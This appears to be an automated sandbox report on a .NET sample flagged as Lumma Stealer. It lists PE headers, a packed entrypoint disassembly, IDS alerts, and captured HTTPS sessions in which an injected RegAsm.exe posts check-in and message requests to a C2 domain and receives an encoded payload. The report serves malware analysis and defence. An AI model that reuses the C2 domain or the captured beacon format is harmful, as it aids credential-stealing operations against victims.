File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
test dword ptr [edx], ecx
leave
and esi, ebp
in al, 50h
or edi, esi
insb
mov byte ptr [759C3875h], ah
test al, B3h
inc eax
push ss
adc al, 91h
add byte ptr [ebp+eax*4+10h], al
std
hlt
js 00007F4624B9A3FFh
dec eax
outsd
loopne 00007F4624B9A36Fh
pop ecx
retf
bound edx, dword ptr [eax]
mov eax, dword ptr [eax+05EC53CDh]
pop ss
mov al, byte ptr [511601B2h]
stosb
aam 55h
aas
mov byte ptr [A271034Dh], al
lea edi, eax
das
mov dword ptr [eax+55405215h], edx
ror dword ptr [ecx+17h], 06h
cwde
test dword ptr [ebx-6Eh], esp
std
outsd
mov byte ptr [CE741A06h], al
push ss
rol dword ptr [ebp+esi*4+7Ch], 0Bh
dec esp
adc al, 24h
stosd
mov eax, 18C1BFE8h
and al, D6h
retf 5226h
adc byte ptr [esi+6Fh], FFFFFF96h
and dh, byte ptr [edx+484F2E5Eh]
pop ebp
jnl 00007F4624B9A398h
pop eax
lahf
test eax, 15C2B68Eh
sbb eax, 23B61AD1h
push eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3212	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x50000	0x5dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x52000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3198	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4c730	0x4c800	5a4654d53eb908314910c5b03796e758	False	0.9935470281862745	data	7.996520138498733	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x50000	0x5dc	0x600	66e93be62c76ea1d6e1f50b2751ee5fb	False	0.4407552083333333	data	4.157587641676639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x52000	0xc	0x200	7aff7626f6d3e02c0efddfcfa8f48418	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x50090	0x34c	data			0.44549763033175355
RT_MANIFEST	0x503ec	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/17/24-07:14:54.859340	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49701	443	192.168.2.6	172.67.217.241
04/17/24-07:14:53.180062	UDP	2052032	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pushjellysingeywus .shop)	60237	53	192.168.2.6	1.1.1.1
04/17/24-07:14:57.875755	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49705	443	192.168.2.6	172.67.217.241
04/17/24-07:14:55.621372	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49702	443	192.168.2.6	172.67.217.241
04/17/24-07:14:56.277994	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49703	443	192.168.2.6	172.67.217.241
04/17/24-07:14:57.120361	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49704	443	192.168.2.6	172.67.217.241
04/17/24-07:14:54.071042	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49700	443	192.168.2.6	172.67.217.241
04/17/24-07:14:53.328511	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49699	443	192.168.2.6	172.67.217.241
04/17/24-07:14:59.072182	TCP	2052041	ET TROJAN Observed Lumma Stealer Related Domain (pushjellysingeywus .shop in TLS SNI)	49706	443	192.168.2.6	172.67.217.241

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 07:14:53.324784994 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.324822903 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:53.324942112 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.328511000 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.328525066 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:53.559541941 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:53.559721947 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.563220024 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.563227892 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:53.563633919 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:53.603889942 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.619298935 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.619344950 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:53.619510889 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.061978102 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.062066078 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.062119007 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.064234018 CEST	49699	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.064250946 CEST	443	49699	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.070549011 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.070574045 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.070640087 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.071042061 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.071053982 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.289681911 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.289762020 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.294934034 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.294941902 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.295177937 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.297851086 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.297928095 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.297949076 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.814958096 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815068960 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815143108 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.815155983 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815182924 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815226078 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.815270901 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815398932 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815450907 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.815459013 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815582991 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815630913 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.815635920 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815733910 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815782070 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.815788031 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815886021 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.815932989 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.815937996 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.816056013 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.816104889 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.816109896 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.816220045 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.816260099 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.816265106 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.816416979 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.816471100 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.816524029 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.816539049 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.816549063 CEST	49700	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.816555023 CEST	443	49700	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.858788013 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.858829021 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:54.858930111 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.859339952 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:54.859376907 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.080647945 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.080785036 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.082043886 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.082070112 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.082418919 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.083473921 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.083631992 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.083681107 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.585083961 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.585222960 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.585333109 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.585480928 CEST	49701	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.585522890 CEST	443	49701	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.620660067 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.620770931 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.620891094 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.621371984 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.621450901 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.842473030 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.842701912 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.844494104 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.844544888 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.844898939 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.846050024 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.846215963 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.846265078 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:55.846338987 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:55.846354008 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.219419956 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.219722986 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.219733000 CEST	443	49702	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.219790936 CEST	49702	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.277458906 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.277488947 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.277573109 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.277993917 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.278007030 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.500776052 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.500961065 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.502125025 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.502135992 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.502460957 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.504075050 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.504245996 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.504285097 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:56.504354000 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:56.504364014 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.048451900 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.048599958 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.048721075 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.048991919 CEST	49703	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.049005985 CEST	443	49703	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.118859053 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.118947029 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.119074106 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.120361090 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.120393038 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.345278978 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.345423937 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.347145081 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.347172022 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.348169088 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.349745989 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.349895954 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.349926949 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.840640068 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.840787888 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.840856075 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.841051102 CEST	49704	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.841068029 CEST	443	49704	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.875160933 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.875219107 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:57.875303984 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.875755072 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:57.875772953 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:58.098562002 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:58.098679066 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:58.099998951 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:58.100011110 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:58.100347042 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:58.101917982 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:58.102031946 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:58.102037907 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:58.584568024 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:58.584853888 CEST	443	49705	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:58.584868908 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:58.584901094 CEST	49705	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.071639061 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.071724892 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.071825981 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.072181940 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.072218895 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.296853065 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.297066927 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.298621893 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.298650980 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.299163103 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.300612926 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.301621914 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.301671028 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.301799059 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.301847935 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.301987886 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.302053928 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.302216053 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.302263975 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.302459955 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.302515984 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.302714109 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.302762032 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.302779913 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.302808046 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.302900076 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.302944899 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.302993059 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.303081036 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.303124905 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.348118067 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.348519087 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.348613024 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.348670006 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.348722935 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:14:59.348798037 CEST	49706	443	192.168.2.6	172.67.217.241
Apr 17, 2024 07:14:59.348843098 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:15:00.820161104 CEST	443	49706	172.67.217.241	192.168.2.6
Apr 17, 2024 07:15:00.820723057 CEST	49706	443	192.168.2.6	172.67.217.241

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 07:14:53.180062056 CEST	60237	53	192.168.2.6	1.1.1.1
Apr 17, 2024 07:14:53.317984104 CEST	53	60237	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 17, 2024 07:14:53.180062056 CEST	192.168.2.6	1.1.1.1	0x861d	Standard query (0)	pushjellysingeywus.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 17, 2024 07:14:53.317984104 CEST	1.1.1.1	192.168.2.6	0x861d	No error (0)	pushjellysingeywus.shop		172.67.217.241	A (IP address)	IN (0x0001)	false
Apr 17, 2024 07:14:53.317984104 CEST	1.1.1.1	192.168.2.6	0x861d	No error (0)	pushjellysingeywus.shop		104.21.70.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pushjellysingeywus.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:53 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pushjellysingeywus.shop
2024-04-17 05:14:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-17 05:14:54 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:14:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2c2p4prk40scotfkvgn3s84efa; expires=Sat, 10-Aug-2024 23:01:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Z4HwY%2BHDEXcyLudsD9gc5ndlxipwbk7tRIRtgIU5536gwzk6iDpiX6eGmGrzN2Vv%2BnqMSFBR6IdJBtaDcfBSPoPlEk2JSWywmG07qjngBVp9izOmhznm2NVqctltAyjWUH0LGEMiUVIgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef25ee0b6749-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 05:14:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-17 05:14:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:54 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 66 Host: pushjellysingeywus.shop
2024-04-17 05:14:54 UTC	66	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 70 47 6c 4d 4d 6e 2d 2d 72 6f 63 6b 65 74 70 72 6f 73 75 70 70 6f 72 74 31 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=pGlMMn--rocketprosupport1&j=default
2024-04-17 05:14:54 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:14:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9c9nfc9lsq6cq278kec3e4cdjk; expires=Sat, 10-Aug-2024 23:01:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iCmfU7nbgcyr2pY8CeqjLhAh3WCs5s9mPQXvQ1gynyJuxDE0DK%2FFuh0DfGdqVYIGQTODgsEKfl8Vv%2B0KOLxjQX5Ee4oOQOIipKnXS3ZYDUMeXBXcABBIhzpYicvYOFBaU1tPD4gJIK2rFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef2a89f27bd8-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 05:14:54 UTC	559	IN	Data Raw: 66 37 34 0d 0a 72 5a 36 32 73 6c 47 4a 61 35 48 68 6c 56 64 6b 39 31 4c 46 4e 33 46 42 67 7a 2b 79 69 46 6b 30 41 76 37 77 44 76 7a 76 44 6b 7a 57 6b 37 79 53 63 61 6c 4c 73 35 65 33 62 55 54 44 66 73 67 39 55 57 47 6a 48 35 44 37 50 42 59 34 33 6f 52 38 69 59 6f 69 51 61 65 2b 6c 70 4a 78 71 77 72 31 77 36 39 33 41 70 59 2b 74 6c 4a 64 53 36 4d 66 6b 71 68 37 57 58 72 63 79 69 36 6e 35 53 35 73 6a 62 36 57 6b 69 71 45 59 62 48 42 74 58 64 45 31 33 4c 6c 46 52 51 76 6f 51 57 53 71 69 35 52 59 4a 75 49 65 70 6d 42 66 53 58 43 38 50 62 66 4e 50 30 4b 2f 49 44 6d 50 45 71 65 50 65 63 62 66 45 75 6a 48 35 4b 6f 65 52 51 69 33 74 4a 72 68 73 30 30 62 49 2f 54 30 38 59 77 78 41 72 69 69 72 64 37 62 76 35 77 6f 45 4e 54 65 36 4d 64 37 71 6f 70 56 58 43 66 6e 58 Data Ascii: f74rZ62slGJa5HhlVdk91LFN3FBgz+yiFk0Av7wDvzvDkzWk7yScalLs5e3bUTDfsg9UWGjH5D7PBY43oR8iYoiQae+lpJxqwr1w693ApY+tlJdS6Mfkqh7WXrcyi6n5S5sjb6WkiqEYbHBtXdE13LlFRQvoQWSqi5RYJuIepmBfSXC8PbfNP0K/IDmPEqePecbfEujH5KoeRQi3tJrhs00bI/T08YwxAriird7bv5woENTe6Md7qopVXCfnX
